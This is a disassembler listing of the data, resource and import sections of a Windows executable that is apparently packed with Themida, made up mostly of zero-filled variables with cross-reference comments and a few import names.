dword_4D3830	dd 200h	dup(0)		; DATA XREF: sub_4172C1+C7o
					; sub_41761C+DDo ...
dword_4D4030	dd 48h dup(0)		; DATA XREF: sub_4172C1+D6o
					; sub_41761C+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_4383A8o
		dd 1B7h	dup(0)
dword_4D4830	dd 0			; DATA XREF: sub_4172C1+86w
					; sub_417493+94r
dword_4D4834	dd 0			; DATA XREF: sub_4172C1+A7w
					; sub_4178F9+55r ...
dword_4D4838	dd 0			; DATA XREF: sub_4172C1+A0w
					; sub_417493+D6r ...
dword_4D483C	dd 0			; DATA XREF: sub_4172C1+79w
					; sub_417493+35r ...
dword_4D4840	dd 80h dup(0)		; DATA XREF: sub_4178F9+5Eo
dword_4D4A40	dd 0			; DATA XREF: sub_4172C1+93w
					; sub_417493+A2r
		align 8
dword_4D4A48	dd 0			; DATA XREF: sub_4172C1+E7o
					; sub_4172C1+103r ...
dword_4D4A4C	dd 0			; DATA XREF: sub_41761C+17Bw
					; sub_4177C3+107w
dword_4D4A50	dd 0			; DATA XREF: sub_41761C+180w
					; sub_4177C3+10Dw ...
dword_4D4A54	dd 0			; DATA XREF: sub_41761C+159w
					; sub_4178F9+4Fr
dword_4D4A58	dd 0			; DATA XREF: sub_417C61+22w
					; sub_417C61:loc_417DE6w ...
dword_4D4A5C	dd 0			; DATA XREF: sub_401ACD+3C95o
					; sub_417B2F+12o ...
		dd 0
dword_4D4A64	dd 0			; DATA XREF: sub_417C61+1Cr
					; sub_417E06+3Ar
		dd 7Fh dup(0)
dword_4D4C64	dd 0			; DATA XREF: sub_417C61+28r
					; sub_417E06+4Aw
		dd 1944h dup(0)
dword_4DB178	dd 0			; DATA XREF: sub_417E06+23o
dword_4DB17C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CB9o
					; sub_417B2F+3Co ...
dword_4DB380	dd 17h dup(0)		; DATA XREF: sub_418D2A:loc_418E47o
					; sub_418D2A+131o ...
dword_4DB3DC	dd 80h dup(0)		; DATA XREF: sub_419AE0+7Co
					; sub_419AE0+A5o
dword_4DB5DC	dd 0			; DATA XREF: sub_4190A5+45w
					; sub_4190A5+4Dr ...
dword_4DB5E0	dd 17h dup(0)		; DATA XREF: sub_4199AC:loc_419ACEo
					; sub_4199AC+12Do
dword_4DB63C	dd 80h dup(0)		; DATA XREF: sub_418FE5+4Co
					; sub_418FE5+7Eo ...
byte_4DB83C	db 0			; DATA XREF: sub_4190A5+29r
					; sub_4190A5+34w
		align 10h
dword_4DB840	dd 80h dup(0)		; DATA XREF: sub_4192FC+61o
					; sub_4192FC+89o ...
dword_4DBA40	dd 81h dup(0)		; DATA XREF: sub_418C0E:loc_418C46o
					; sub_418C0E+5Bo
dword_4DBC44	dd 0			; DATA XREF: sub_419F6D:loc_419F8Er
					; sub_41A05C+54r ...
dword_4DBC48	dd 0			; DATA XREF: sub_419F6Dr
					; sub_41A05C+37r ...
dword_4DBC4C	dd 0			; DATA XREF: sub_419F9D+1Ar
					; sub_41A1B1+83o
dword_4DBC50	dd 0			; DATA XREF: sub_419F6D:loc_419F81r
					; sub_41A1B1+11Bw
dword_4DBC54	dd 0Dh dup(0)		; DATA XREF: sub_41A05C+13o
					; sub_41A1B1:loc_41A2EEo
dword_4DBC88	dd 0			; DATA XREF: sub_41A05C+CDr
					; sub_41A05C+ECr ...
		align 10h
dword_4DBC90	dd 0Fh dup(0)		; DATA XREF: sub_41ADD8+47o
byte_4DBCCC	db 0			; DATA XREF: sub_41B52C+6o
					; ___:0041B881o ...
		align 10h
		dd 3Fh dup(0)
dword_4DBDCC	dd 2 dup(0)		; DATA XREF: sub_41B55B+18o
dword_4DBDD4	dd 2 dup(0)		; DATA XREF: sub_41B55B+8o
					; ___:0041B6CAo
dword_4DBDDC	dd 0			; DATA XREF: sub_41C59D+1B9w
					; ___:loc_41DB07w ...
dword_4DBDE0	dd 0			; DATA XREF: sub_41DC5E+35w
					; sub_41E312:loc_41E3ACw ...
dword_4DBDE4	dd 0			; DATA XREF: sub_42423B+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DBDF8	dd 1			; DATA XREF: ___:loc_401516r
					; ___:0042381Dw
dword_4DBDFC	dd 2460B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		dd 0
dword_4DBE04	dd 2460B58h		; DATA XREF: ___:00423717w
		dd 3 dup(0)
off_4DBE14	dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4DBE1C	db 0			; DATA XREF: sub_41C1B3+2Dw
					; sub_4241E3+5r
		align 10h
dword_4DBE20	dd 0			; DATA XREF: sub_41C1B3+27w
dword_4DBE24	dd 0			; DATA XREF: sub_41C1B3+4r
					; sub_41C1B3+8Bw
dword_4DBE28	dd 0			; DATA XREF: sub_41CAD4+3Br
					; sub_41CAD4+91w
		align 10h
dword_4DBE30	dd 0			; DATA XREF: sub_41D124+Aw
dword_4DBE34	dd 0			; DATA XREF: ___:loc_4236E5r
					; ___:loc_423727r ...
		dd 0
dword_4DBE3C	dd 0			; DATA XREF: sub_41E2C9r ___:0041E2F0o ...
dword_4DBE40	dd 0			; DATA XREF: sub_41F3B0+4Bw
					; sub_41F4C9+2Dw ...
dword_4DBE44	dd 0			; DATA XREF: sub_41FBB2r
dword_4DBE48	dd 0			; DATA XREF: sub_41BBE2:loc_41BCFEr
					; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE4C	dd 1			; DATA XREF: sub_420749:loc_4208C4r
					; sub_4208E2+4w ...
dword_4DBE50	dd 0			; DATA XREF: sub_420CE6+37r
		align 8
dword_4DBE58	dd 0			; DATA XREF: sub_422279+11r
					; sub_42237D+1Ar ...
byte_4DBE5C	db 0			; DATA XREF: sub_422279+3r
					; sub_422279+98r ...
		align 10h
dword_4DBE60	dd 0			; DATA XREF: sub_42237D+11r
					; sub_42245B+21w ...
byte_4DBE64	db 0			; DATA XREF: sub_42245B+51w
		align 4
dword_4DBE68	dd 0			; DATA XREF: sub_422651+4Er
					; sub_422A2C+3Ar ...
dword_4DBE6C	dd 0			; DATA XREF: sub_422651+5Cr
					; sub_422A2C+43r ...
dword_4DBE70	dd 0			; DATA XREF: sub_41D3AA+7Ar
					; sub_4227F8+5r
dword_4DBE74	dd 0			; DATA XREF: sub_422DFC+29r
dword_4DBE78	dd 1			; DATA XREF: sub_4232A8+28r
					; sub_4232A8+4Cw ...
		dd 2 dup(0)
dword_4DBE84	dd 0			; DATA XREF: sub_41DE4A+4r
					; sub_41DE4A+6Er ...
		dd 3 dup(0)
dword_4DBE94	dd 0			; DATA XREF: sub_41E0D4+61r
					; sub_41E0D4+BFr ...
		dd 0
dword_4DBE9C	dd 0			; DATA XREF: ___:00423531r
					; ___:0042353Dw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o
					; ___:off_4DBE14o
		align 4
		dd 3Ah dup(0)
dword_4DBFA4	dd 1			; DATA XREF: ___:004239DBr
					; ___:004239FCw ...
dword_4DBFA8	dd 0			; DATA XREF: sub_423D98+21r
dword_4DBFAC	dd 0			; DATA XREF: sub_41FBCD+154w
					; sub_420CE6:loc_420D0Fw ...
dword_4DBFB0	dd 0			; DATA XREF: sub_41FBCD+7r
dword_4DBFB4	dd 1			; DATA XREF: sub_4244F4+26r
					; sub_4244F4:loc_42455Ew
word_4DBFB8	dw 0			; DATA XREF: sub_424DF9+1Ao
					; sub_424DF9+46r
byte_4DBFBA	db 0			; DATA XREF: sub_424DF9+39r
		align 4
dword_4DBFBC	dd 7 dup(0)		; DATA XREF: sub_424DF9+52o
dword_4DBFD8	dd 0			; DATA XREF: sub_424DF9+40w
					; sub_424DF9+5Co
dword_4DBFDC	dd 0			; DATA XREF: sub_424DF9+4Dw
dword_4DBFE0	dd 0			; DATA XREF: sub_424DF9+31w
dword_4DBFE4	dd 0			; DATA XREF: sub_424DF9+52w
dword_4DBFE8	dd 77C26E79h		; DATA XREF: sub_424F1C:loc_424F3Fr
					; sub_424F1C+38r ...
dword_4DBFEC	dd 0			; DATA XREF: sub_425029+3r
					; sub_425029+2Ew ...
dword_4DBFF0	dd 0			; DATA XREF: sub_425029+43w
					; sub_425029:loc_425078r
dword_4DBFF4	dd 0			; DATA XREF: sub_425029+4Aw
					; sub_425029+60r
dword_4DBFF8	dd 0			; DATA XREF: sub_42423B+3Fr
dword_4DBFFC	dd 0			; DATA XREF: sub_425C06:loc_425C6Dr
					; sub_425C06+6Do
dword_4DC000	dd 0			; DATA XREF: sub_425C06:loc_425C44r
					; sub_425C06+44o
dword_4DC004	dd 0			; DATA XREF: sub_425C06:loc_425C37r
					; sub_425C06+37o
dword_4DC008	dd 0			; DATA XREF: sub_425C06:loc_425C51r
					; sub_425C06+51o
		align 10h
dword_4DC010	dd 0			; DATA XREF: sub_426636+28r
					; sub_426636+4Cw ...
dword_4DC014	dd 0			; DATA XREF: sub_4268C1+26r
					; sub_4268C1:loc_42692Bw
byte_4DC018	db 0			; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
		align 4
dword_4DC01C	dd 2461140h		; DATA XREF: sub_41E490:loc_41E4A1r
					; sub_41FD3D+14r ...
dword_4DC020	dd 400h	dup(0)		; DATA XREF: ___:off_43D568o
					; ___:0043D570o
dword_4DD020	dd 200h			; DATA XREF: sub_41E490+9r
					; sub_41E490+56r ...
		dd 7 dup(0)
dword_4DD040	dd 2460650h		; DATA XREF: sub_41F8E3+75r
					; sub_41F9BC+2Ar ...
dword_4DD044	dd 3Fh dup(0)		; DATA XREF: ___:00423B9Do
dword_4DD140	dd 20h			; DATA XREF: sub_41E312+8r
					; sub_41F9BC+Cr ...
dword_4DD144	dd 4E4h			; DATA XREF: sub_420749+14r
					; sub_420749+65w ...
		align 10h
dword_4DD150	dd 3 dup(0)		; DATA XREF: sub_420749+123o
					; sub_420749+171o ...
dword_4DD15C	dd 0			; DATA XREF: sub_420749+108w
					; sub_420749+15Dw ...
byte_4DD160	db 0			; DATA XREF: sub_420988:loc_420A94w
					; sub_420988:loc_420AB1w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DD260	db 0			; DATA XREF: sub_420749+5Co
					; sub_420749+AFo ...
byte_4DD261	db 0			; DATA XREF: sub_41C3B1+5Dr
					; sub_420749+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DD364	dd 0			; DATA XREF: sub_420749+6Ew
					; sub_420749+12Bw ...
dword_4DD368	dd 0			; DATA XREF: sub_41ED74+5r
					; sub_41ED74+32w
dword_4DD36C	dd 0			; DATA XREF: sub_41E742+23Ar
					; sub_41E742+25Ar ...
dword_4DD370	dd 0			; DATA XREF: sub_41E742+311w
					; sub_41EA6B:loc_41EABBr ...
dword_4DD374	dd 0			; DATA XREF: sub_41E742+22Dr
					; sub_41E742+260r ...
dword_4DD378	dd 0			; DATA XREF: sub_41E717r
					; sub_41E742+2CBr ...
dword_4DD37C	dd 0			; DATA XREF: sub_41E717+8r
					; sub_41E742+2D0r ...
dword_4DD380	dd 0			; DATA XREF: sub_41BBE2+5Cr
					; sub_41BEF3+Fr ...
dword_4DD384	dd 2460000h		; DATA XREF: sub_41BA91+5Ar
					; sub_41BBE2+C0r ...
dword_4DD388	dd 1			; DATA XREF: sub_41BA91+Cr
					; sub_41BBE2:loc_41BC12r ...
dword_4DD38C	dd 142340h		; DATA XREF: ___:0042368Ar
					; ___:004237B5r
dword_4DD390	dd 1			; DATA XREF: ___:00423780w
dword_4DD394	dd 1			; DATA XREF: sub_420B0Dr
					; sub_420B0D+11w ...
dword_4DD398	dd 2460758h		; DATA XREF: sub_41C1B3+3Er
					; sub_41D9B3+13r ...
dword_4DD39C	dd 2460758h		; DATA XREF: sub_41C1B3+35r
					; sub_41C1B3+57r ...
		dd 318h	dup(0)
dword_4DE000	dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DF000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 000E0000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4E0000h
a7icwCw		db '7╗Гw╣\Гw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0E0050h, 0E0000h, 3 dup(0)
		dd 0E0079h, 0E000Ch, 3 dup(0)
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: ___:004385ACo
		align 10h
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		db 0
		dd 0FEh	dup(0)
		db 3 dup(0)
		db    0			; DATA XREF: Themida_:00549A68o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
